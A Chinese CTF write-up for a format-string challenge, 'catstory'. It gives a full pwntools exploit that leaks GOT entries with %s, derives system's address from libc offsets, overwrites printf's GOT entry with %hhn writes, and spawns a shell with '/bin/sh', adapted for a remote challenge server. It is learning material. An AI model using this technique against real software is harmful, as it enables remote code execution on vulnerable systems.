前言

日前入门pwn,粗浅学习了写shellcode,rop,栈溢出攻击,现在遇到了fmtstr,把我头搞炸了,决定好好学习一下,写一篇文章作为记录,供日后参考

样本

题目:https://ctf.sixstars.team/challenges#cat
文件下载:下载
参考资料:Hint
Remote:$ nc pwn.sixstars.team 22015

分析


大概就是这样,程序里没有现成的 shell 可拿,所以想法是替换 printfGOT 值为 system 的,然后输入 /bin/sh 完事,不知道这是不是叫做 ret2libc

解题

首先要获得 scanf 写入的缓冲区的地址,或者说是在调用 printf 时栈上的偏移量。我使用 Python 2.7pwntools
这里是 printfplt

printf 的 GOT 偏移是不会变的,记录下来

from pwn import *
import struct GOT_PLT_ADDR = 0x601030 # printf

scanf 写入的缓冲区大小是1000,由于是64位题目,如果把地址放在前面会导致直接 null byte 截断,无法获得输出,所以把地址放在最后

def pad(s):return s + "X"*(1000 - len(s) - 8)

先写一个获取偏移量的 payload

def calc_offset_payload():pl = ""pl += "AAAAAAAA" pl += "|%p|" * 150pl = pad(pl)pl += struct.pack("Q", GOT_PLT_ADDR) return pl

执行

proc = process("./catstory")
proc.sendline(calc_offset_payload())
print proc.recv()


可以数出来

在第132个“参数”处,因此后面通过 %n 写入数值的时候,往132个偏移,即 %132$n 写入即可。
看看它采用的安全手段

在这里做一个小笔记,PIE 是将主程序加载进随机的(但不是任意位置,需要对齐等)地址空间,可以用来防范 rop,而 ASLR 则是操作系统级别的一个东西,随机化动态链接库的地址,而动态链接库一定是PIE的。可以理解为如果程序开启了 PIE,那么上面的 0x601030 是不能直接用的,因为主程序像动态链接库一样,地址被随机化了。
这题没开启PIE,那么可以少操一点心。
首先,目标是把 printf 的 GOT 改为 system 的,但是我们对 remote 的 libc 一无所知,需要先泄露一些地址。
我们选择 printf__libc_start_main 的地址进行泄露,我的思路是按位打印,这样如果遇到 0x00 也可以知道。

def get_got_addr_payload(i):pl = ""pl += "AAAAAAAA" pl += "%132$s"pl = pad(pl)pl += struct.pack("Q", GOT_PLT_ADDR + i) return pldef get_got_addr(proc):got_addr = list("")for i in range(0, 8): pld = get_got_addr_payload(i)proc.sendline(pld)rec = proc.recv() #print rec#print len(rec)if len(rec) == 991:got_addr += '\0'else :got_addr += rec[8]got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr)return got_addr

执行

proc = process("./catstory")
GOT_PLT_ADDR = 0x601030 # printf
printf_addr = get_got_addr(proc)
printf_addr = int(''.join(map(str,printf_addr)))
print "printf_addr = %x" % (printf_addr)


这是不够的,还需要知道 __libc_start_main 的地址,由于 ASLR ,需要在一次运行时内写出。

GOT_PLT_ADDR = 0x601038 # __libc_start_main
libc_start_main_addr = get_got_addr(proc)
libc_start_main_addr = int(''.join(map(str,libc_start_main_addr)))
print "libc_start_main_addr = %x" % (libc_start_main_addr)


我们知道了两个偏移,就可以知道 libc 的信息了。使用 libc-database。


由此我们可以获得 libc,再得出 system 的地址

因此,system_addr = printf_addr + offset_system - offset_printf

system_addr = printf_addr + 0x4f440 - 0x64e80
print "system_addr = %x" % (system_addr)


最后我们只需把 system 的地址写入到 printf 里去,即可完成攻击。不过我有一个小问题就是 scanf 是不接受 0x20 即空格的,如果遇到了我不知道怎么办。
可见,我们需要修改低三个字节的内容。这里我推荐使用 %hhn,一个字节一个字节写入。于是我们需要修改 pad 函数,使后面能容纳三个地址

def pad2(s):return s + "X"*(1000 - len(s) - 24)

容易知道三个地址的偏移变成了 130, 131, 132。

def set_got_addr_payload(v1, v2, v3, a1, a2, a3):pl = "" pl += "%{}x".format(v1)pl += "%130$hhn"pl += "%{}x".format(v2)pl += "%131$hhn"pl += "%{}x".format(v3)pl += "%132$hhn"pl = pad2(pl)pl += struct.pack("Q", a1) pl += struct.pack("Q", a2) pl += struct.pack("Q", a3)return pl

由于写入需要一定的顺序,而且只能递增,因此需要一些小的计算,我不细说了,自己体会。

def sort_get_idx(vals):return sorted(range(len(vals)), key=lambda k: vals[k])

别忘了 import numpy as np

val1 = int(np.uint8(system_addr))
print "%x" % (val1)
val2 = int(np.uint8(system_addr >> 8))
print "%x" % (val2)
val3 = int(np.uint8(system_addr >> 16))
print "%x" % (val3)sorted_idx = sort_get_idx([val1, val2, val3])
print sorted_idx
sorted_val = sorted([val1, val2, val3])
print sorted_valpld = set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2])

最后

proc.sendline(pld)
proc.recvrepeat(1)
proc.sendline("/bin/sh")
proc.interactive()


如果遇到了 EOFError ,重新执行脚本应该可以解决问题。
完整本地脚本:

from pwn import *
import struct
import numpy as npGOT_PLT_ADDR = 0x601030 # printfdef pad(s):return s + "X"*(1000 - len(s) - 8)def pad2(s):return s + "X"*(1000 - len(s) - 24)def calc_offset_payload():pl = ""pl += "AAAAAAAA" pl += "|%p|" * 150pl = pad(pl)pl += struct.pack("Q", GOT_PLT_ADDR) return pldef get_got_addr_payload(i):pl = ""pl += "AAAAAAAA" pl += "%132$s"pl = pad(pl)pl += struct.pack("Q", GOT_PLT_ADDR + i) return pldef get_got_addr(proc):got_addr = list("")for i in range(0, 8): pld = get_got_addr_payload(i)proc.sendline(pld)rec = proc.recv() #print rec#print len(rec)if len(rec) == 991:got_addr += '\0'else :got_addr += rec[8]got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr)return got_addrdef set_got_addr_payload(v1, v2, v3, a1, a2, a3):pl = "" pl += "%{}x".format(v1)pl += "%130$hhn"pl += "%{}x".format(v2)pl += "%131$hhn"pl += "%{}x".format(v3)pl += "%132$hhn"pl = pad2(pl)pl += struct.pack("Q", a1) pl += struct.pack("Q", a2) pl += struct.pack("Q", a3)return pldef sort_get_idx(vals):return sorted(range(len(vals)), key=lambda k: vals[k])#proc.sendline(calc_offset_payload())
#print proc.recv()proc = process("./catstory")
GOT_PLT_ADDR = 0x601030 # printf
printf_addr = get_got_addr(proc)
printf_addr = int(''.join(map(str,printf_addr)))
print "printf_addr = %x" % (printf_addr)GOT_PLT_ADDR = 0x601038 # __libc_start_main
libc_start_main_addr = get_got_addr(proc)
libc_start_main_addr = int(''.join(map(str,libc_start_main_addr)))
print "libc_start_main_addr = %x" % (libc_start_main_addr)system_addr = printf_addr + 0x4f440 - 0x64e80
print "system_addr = %x" % (system_addr)val1 = int(np.uint8(system_addr))
print "%x" % (val1)
val2 = int(np.uint8(system_addr >> 8))
print "%x" % (val2)
val3 = int(np.uint8(system_addr >> 16))
print "%x" % (val3)sorted_idx = sort_get_idx([val1, val2, val3])
print sorted_idx
sorted_val = sorted([val1, val2, val3])
print sorted_valGOT_PLT_ADDR = 0x601030 # printfproc.sendline(set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2]))
proc.recvrepeat(1)proc.sendline("/bin/sh")
proc.interactive()

最后我们只要稍作修改即可用于远程服务器,获取 flag
首先由于不知道的原因,原本一次 proc.recv() 现在需要调用两次才能读完缓冲区。如果打印 0x00,原本 991 的长度被分为 989 和 2。

def get_got_addr(proc):got_addr = list("")for i in range(0, 8): pld = get_got_addr_payload(i)proc.sendline(pld)rec = proc.recv()proc.recv() #print rec#print len(rec)if len(rec) == 989:got_addr += '\0'else :got_addr += rec[8]got_addr = "".join(got_addr) got_addr = struct.unpack("P", got_addr)return got_addr

最后最重要的就是远程的libc和本地是不一样的,需要自己重新进行计算。
proc = remote("pwn.sixstars.team", 22015)
稍作修改后,执行

flag*ctf{----------------------------------} ,拒绝当 Script Kiddle,自己研究才有乐趣。

pwn - 格式化字符串攻击相关推荐

  1. c语言printf相关函数 格式化字符串攻击 简介

    目录 一.类printf函数簇实现原理 二.格式化字符串攻击原理 三.一个实际的例子 一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型 ...

  2. 跟着CTF-Wiki学pwn|格式化字符串(1)

    文章目录 格式化字符串漏洞原理介绍 格式化字符串函数介绍 格式化字符串函数 格式化字符串 参数 格式化字符串漏洞原理 格式化字符串漏洞利用 程序崩溃 泄露内存 泄露栈内存 获取栈变量数值 获取栈变量对 ...

  3. CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

    格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...

  4. [pwn]格式化字符串:0ctf 2015 login writeup

    文章目录 格式化字符串:0ctf 2015 login writeup 格式化字符串漏洞 题目分析 利用思路 开始利用 格式化字符串:0ctf 2015 login writeup 格式化字符串漏洞 ...

  5. CTF(pwn)-格式化字符串漏洞讲解(一)

    例题讲解 https://blog.csdn.net/weixin_45556441/article/details/114081864 一.基本介绍 格式化字符串漏洞在通用漏洞类型库CWE中的编号是 ...

  6. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  7. c语言中的格式化字符串

    C语言中格式字符串的一般形式为:  % [ 标志 ][ 输出最小宽度 ][. 精度 ][ 长度 ] 类型 , 其中方括号[]中的项为可选项. 一.类型 我们用一定的字符用以表示输出数据的类型,其格式符 ...

  8. 利用格式化字符串漏洞实现任意地址读写

    格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客 格式化字符串漏洞小总结(上) - 先知社区 (aliyun.com) 原理介绍 - CTF Wiki (ctf-wiki.o ...

  9. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

最新文章

  1. java自带工具_深入了解Java JDK自带工具,包括javac、jar、jstack等,实用~
  2. python替换excel指定字符串_【python】替换指定内容,excel数据预处理
  3. 如何使用oprofile对软件做profiling
  4. performSegueWithIdentifier:sender里边的sender是啥意思
  5. jetty9更改post请求长度
  6. cassandra可视化工具_耗时1个月整理!160种Python标准库、第三方库和外部工具都有了...
  7. 格林斯潘的一句话造成昨天(5月24日)股市大跌后爬升的分析
  8. JDK 13 的 12 个新特性,真心厉害和好用
  9. 素数就是不能再进行等分的数。比如2,3,5,7,11,等 9=3*3说明它可以等分,因而不是素数 我们国家在1949年建国,如果只给你 1 9 4 9 这4个数字卡片, 可以随意摆放他们的先后顺序(但
  10. ECharts怎样显示中国地图
  11. PS 2020版本放大工具无法鼠标左右拖动精细放大的解决方案
  12. 教你语音如何转换成文字的?
  13. 阿里云aks使用demo
  14. 乐嘉性格色彩-4色特性,学习感悟
  15. ps有一款比较好用的插件也就是调色插件用过吗
  16. JAVA 静态方法和成员方法、静态方法的调用
  17. My Visual DataBase(数据库编程软件)v5.3免费版
  18. 人到中年:“无爱、无话、无性”
  19. 欧拉角与万向节死锁(Euler angle Gimbal Lock)
  20. [DX10游戏教程(C++)]教程1:在Visual Studio 2012中配置DirectX 10

热门文章

  1. 什么OKR,分明是中华田园KPI
  2. 一场疫情,全民变厨子、医生变战士、教师变主播、只有孩子们,依然是神兽!...
  3. CM-GAN:图像大面积缺失修复,兼顾全局结构和纹理细节
  4. oracle中where条件后用in这样子查询后变慢
  5. 数据库高可用架构 - pxc
  6. 我的架构梦:(二)MyBatis的一级、二级、分布式缓存的应用以及源码分析
  7. antd组件DatePicker日期国际化错误 中英文都存在问题处理
  8. linux 下写不了文件,linux下用root为什么写不了windows下的文件
  9. 详细了解软件测试过程中的V 模型,W模型,H模型
  10. How to review a paper?